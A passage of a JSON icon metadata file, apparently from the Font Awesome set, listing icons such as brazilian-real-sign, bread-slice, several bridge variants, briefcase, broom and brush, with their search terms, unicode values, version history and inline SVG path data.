        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 0c30.9 0 56 25.1 56 56V456c0 30.9-25.1 56-56 56c-28.9 0-52.7-21.9-55.7-50.1c-5.2 1.4-10.7 2.1-16.3 2.1c-35.3 0-64-28.7-64-64c0-7.4 1.3-14.6 3.6-21.2C21.4 367.4 0 338.2 0 304c0-31.9 18.7-59.5 45.8-72.3C37.1 220.8 32 207 32 192c0-30.7 21.6-56.3 50.4-62.6C80.8 123.9 80 118 80 112c0-29.9 20.6-55.1 48.3-62.1C131.3 21.9 155.1 0 184 0zM328 0c28.9 0 52.6 21.9 55.7 49.9c27.8 7 48.3 32.1 48.3 62.1c0 6-.8 11.9-2.4 17.4c28.8 6.2 50.4 31.9 50.4 62.6c0 15-5.1 28.8-13.8 39.7C493.3 244.5 512 272.1 512 304c0 34.2-21.4 63.4-51.6 74.8c2.3 6.6 3.6 13.8 3.6 21.2c0 35.3-28.7 64-64 64c-5.6 0-11.1-.7-16.3-2.1c-3 28.2-26.8 50.1-55.7 50.1c-30.9 0-56-25.1-56-56V56c0-30.9 25.1-56 56-56z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 0c30.9 0 56 25.1 56 56V456c0 30.9-25.1 56-56 56c-28.9 0-52.7-21.9-55.7-50.1c-5.2 1.4-10.7 2.1-16.3 2.1c-35.3 0-64-28.7-64-64c0-7.4 1.3-14.6 3.6-21.2C21.4 367.4 0 338.2 0 304c0-31.9 18.7-59.5 45.8-72.3C37.1 220.8 32 207 32 192c0-30.7 21.6-56.3 50.4-62.6C80.8 123.9 80 118 80 112c0-29.9 20.6-55.1 48.3-62.1C131.3 21.9 155.1 0 184 0zM328 0c28.9 0 52.6 21.9 55.7 49.9c27.8 7 48.3 32.1 48.3 62.1c0 6-.8 11.9-2.4 17.4c28.8 6.2 50.4 31.9 50.4 62.6c0 15-5.1 28.8-13.8 39.7C493.3 244.5 512 272.1 512 304c0 34.2-21.4 63.4-51.6 74.8c2.3 6.6 3.6 13.8 3.6 21.2c0 35.3-28.7 64-64 64c-5.6 0-11.1-.7-16.3-2.1c-3 28.2-26.8 50.1-55.7 50.1c-30.9 0-56-25.1-56-56V56c0-30.9 25.1-56 56-56z"
      }
    },
    "free": ["solid"]
  },
  "brazilian-real-sign": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["brazilian real sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e46c",
    "label": "Brazilian Real Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M400 0c17.7 0 32 14.3 32 32V50.2c12.5 2.3 24.7 6.4 36.2 12.1l10.1 5.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-10.2-5.1c-9.9-5-20.9-7.5-32-7.5h-1.7c-29.8 0-53.9 24.1-53.9 53.9c0 22 13.4 41.8 33.9 50l52 20.8c44.7 17.9 74.1 61.2 74.1 109.4v3.4c0 51.2-33.6 94.6-80 109.2V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V460.6c-15-3.5-29.4-9.7-42.3-18.3l-23.4-15.6c-14.7-9.8-18.7-29.7-8.9-44.4s29.7-18.7 44.4-8.9L361.2 389c10.8 7.2 23.4 11 36.3 11c27.9 0 50.5-22.6 50.5-50.5v-3.4c0-22-13.4-41.8-33.9-50l-52-20.8C317.3 257.4 288 214.1 288 165.9C288 114 321.5 70 368 54.2V32c0-17.7 14.3-32 32-32zM0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M400 0c17.7 0 32 14.3 32 32V50.2c12.5 2.3 24.7 6.4 36.2 12.1l10.1 5.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-10.2-5.1c-9.9-5-20.9-7.5-32-7.5h-1.7c-29.8 0-53.9 24.1-53.9 53.9c0 22 13.4 41.8 33.9 50l52 20.8c44.7 17.9 74.1 61.2 74.1 109.4v3.4c0 51.2-33.6 94.6-80 109.2V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V460.6c-15-3.5-29.4-9.7-42.3-18.3l-23.4-15.6c-14.7-9.8-18.7-29.7-8.9-44.4s29.7-18.7 44.4-8.9L361.2 389c10.8 7.2 23.4 11 36.3 11c27.9 0 50.5-22.6 50.5-50.5v-3.4c0-22-13.4-41.8-33.9-50l-52-20.8C317.3 257.4 288 214.1 288 165.9C288 114 321.5 70 368 54.2V32c0-17.7 14.3-32 32-32zM0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256z"
      }
    },
    "free": ["solid"]
  },
  "bread-slice": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ec"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bake",
        "bakery",
        "baking",
        "dough",
        "flour",
        "gluten",
        "grain",
        "sandwich",
        "sourdough",
        "toast",
        "wheat",
        "yeast"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7ec",
    "label": "Bread Slice",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C192 32 0 64 0 192c0 35.3 28.7 64 64 64V432c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V256c35.3 0 64-28.7 64-64C512 64 320 32 256 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32C192 32 0 64 0 192c0 35.3 28.7 64 64 64V432c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V256c35.3 0 64-28.7 64-64C512 64 320 32 256 32z"
      }
    },
    "free": ["solid"]
  },
  "bridge": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4c8",
    "label": "Bridge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H72v64H0V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96s96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96V160H504V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM456 96v64H376V96h80zM328 96v64H248V96h80zM200 96v64H120V96h80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H72v64H0V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96s96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96V160H504V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM456 96v64H376V96h80zM328 96v64H248V96h80zM200 96v64H120V96h80z"
      }
    },
    "free": ["solid"]
  },
  "bridge-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "not affected", "ok", "okay", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4c9",
    "label": "Bridge Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "bridge-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "bridge", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4ca",
    "label": "Bridge Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "bridge-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "destroy", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4cb",
    "label": "Bridge Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "bridge-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "closed", "lockdown", "quarantine", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4cc",
    "label": "Bridge Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 64c0-17.7 14.3-32 32-32H576c17.7 0 32 14.3 32 32s-14.3 32-32 32H536v64h-8c-61.9 0-112 50.1-112 112v24.6c-9.9 5.8-18.2 14.1-23.8 24.1c-17.6-20-43.4-32.7-72.2-32.7c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V384c0-53-43-96-96-96V160h72V96H64C46.3 96 32 81.7 32 64zM408 96v64h80V96H408zm-48 64V96H280v64h80zM152 96v64h80V96H152zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 64c0-17.7 14.3-32 32-32H576c17.7 0 32 14.3 32 32s-14.3 32-32 32H536v64h-8c-61.9 0-112 50.1-112 112v24.6c-9.9 5.8-18.2 14.1-23.8 24.1c-17.6-20-43.4-32.7-72.2-32.7c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V384c0-53-43-96-96-96V160h72V96H64C46.3 96 32 81.7 32 64zM408 96v64h80V96H408zm-48 64V96H280v64h80zM152 96v64h80V96H152zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "bridge-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4ce",
    "label": "Bridge Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96C0 78.3 14.3 64 32 64H544c17.7 0 32 14.3 32 32v35.6c0 15.7-12.7 28.4-28.4 28.4c-37.3 0-67.6 30.2-67.6 67.6V352.5c-12.9 0-25.8 3.9-36.8 11.7c-18 12.4-40.1 20.3-59.2 20.3h0l0-.5V256c0-53-43-96-96-96s-96 43-96 96V384l0 .5c-19 0-41.2-7.9-59.1-20.3c-11.1-7.8-24-11.7-36.9-11.7V227.6C96 190.2 65.8 160 28.4 160C12.7 160 0 147.3 0 131.6V96zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96C0 78.3 14.3 64 32 64H544c17.7 0 32 14.3 32 32v35.6c0 15.7-12.7 28.4-28.4 28.4c-37.3 0-67.6 30.2-67.6 67.6V352.5c-12.9 0-25.8 3.9-36.8 11.7c-18 12.4-40.1 20.3-59.2 20.3h0l0-.5V256c0-53-43-96-96-96s-96 43-96 96V384l0 .5c-19 0-41.2-7.9-59.1-20.3c-11.1-7.8-24-11.7-36.9-11.7V227.6C96 190.2 65.8 160 28.4 160C12.7 160 0 147.3 0 131.6V96zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "briefcase": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4bc"],
        "secondary": ["10f0b1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bag",
        "briefcas",
        "briefcase",
        "business",
        "luggage",
        "office",
        "work"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0b1",
    "label": "Briefcase",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 320 512V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM512 288H320v32c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 320 512V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM512 288H320v32c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V288z"
      }
    },
    "free": ["solid"]
  },
  "briefcase-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f469"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["doctor", "emt", "first aid", "health"]
    },
    "styles": ["solid"],
    "unicode": "f469",
    "label": "Briefcase Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zm96 152c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zm96 152c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z"
      }
    },
    "free": ["solid"]
  },
  "broom": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f9"],
        "secondary": ["10f51a"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "broom",
        "clean",
        "cleaning",
        "firebolt",
        "fly",
        "halloween",
        "nimbus 2000",
        "quidditch",
        "sweep",
        "sweeping",
        "witch"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51a",
    "label": "Broom",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M566.6 54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192-34.7-34.7c-4.2-4.2-10-6.6-16-6.6c-12.5 0-22.6 10.1-22.6 22.6v29.1L364.3 320h29.1c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16l-34.7-34.7 192-192zM341.1 353.4L222.6 234.9c-42.7-3.7-85.2 11.7-115.8 42.3l-8 8C76.5 307.5 64 337.7 64 369.2c0 6.8 7.1 11.2 13.2 8.2l51.1-25.5c5-2.5 9.5 4.1 5.4 7.9L7.3 473.4C2.7 477.6 0 483.6 0 489.9C0 502.1 9.9 512 22.1 512l173.3 0c38.8 0 75.9-15.4 103.4-42.8c30.6-30.6 45.9-73.1 42.3-115.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M566.6 54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-192 192-34.7-34.7c-4.2-4.2-10-6.6-16-6.6c-12.5 0-22.6 10.1-22.6 22.6v29.1L364.3 320h29.1c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16l-34.7-34.7 192-192zM341.1 353.4L222.6 234.9c-42.7-3.7-85.2 11.7-115.8 42.3l-8 8C76.5 307.5 64 337.7 64 369.2c0 6.8 7.1 11.2 13.2 8.2l51.1-25.5c5-2.5 9.5 4.1 5.4 7.9L7.3 473.4C2.7 477.6 0 483.6 0 489.9C0 502.1 9.9 512 22.1 512l173.3 0c38.8 0 75.9-15.4 103.4-42.8c30.6-30.6 45.9-73.1 42.3-115.8z"
      }
    },
    "free": ["solid"]
  },
  "broom-ball": {
    "aliases": {
      "names": ["quidditch", "quidditch-broom-ball"],
      "unicodes": {
        "secondary": ["10f458"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ball",
        "bludger",
        "broom",
        "golden snitch",
        "harry potter",
        "hogwarts",
        "quaffle",
        "sport",
        "wizard"
      ]
    },
    "styles": ["solid"],
    "unicode": "f458",
    "label": "Broom Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M566.6 9.4c12.5 12.5 12.5 32.8 0 45.3l-192 192 34.7 34.7c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H364.3L256 211.7V182.6c0-12.5 10.1-22.6 22.6-22.6c6 0 11.8 2.4 16 6.6l34.7 34.7 192-192c12.5-12.5 32.8-12.5 45.3 0zm-344 225.5L341.1 353.4c3.7 42.7-11.7 85.2-42.3 115.8C271.4 496.6 234.2 512 195.5 512L22.1 512C9.9 512 0 502.1 0 489.9c0-6.3 2.7-12.3 7.3-16.5L133.7 359.7c4.2-3.7-.4-10.4-5.4-7.9L77.2 377.4c-6.1 3-13.2-1.4-13.2-8.2c0-31.5 12.5-61.7 34.8-84l8-8c30.6-30.6 73.1-45.9 115.8-42.3zM464 352a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M566.6 9.4c12.5 12.5 12.5 32.8 0 45.3l-192 192 34.7 34.7c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H364.3L256 211.7V182.6c0-12.5 10.1-22.6 22.6-22.6c6 0 11.8 2.4 16 6.6l34.7 34.7 192-192c12.5-12.5 32.8-12.5 45.3 0zm-344 225.5L341.1 353.4c3.7 42.7-11.7 85.2-42.3 115.8C271.4 496.6 234.2 512 195.5 512L22.1 512C9.9 512 0 502.1 0 489.9c0-6.3 2.7-12.3 7.3-16.5L133.7 359.7c4.2-3.7-.4-10.4-5.4-7.9L77.2 377.4c-6.1 3-13.2-1.4-13.2-8.2c0-31.5 12.5-61.7 34.8-84l8-8c30.6-30.6 73.1-45.9 115.8-42.3zM464 352a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "brush": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55d"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["art", "bristles", "color", "handle", "paint"]
    },
    "styles": ["solid"],
    "unicode": "f55d",
    "label": "Brush",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
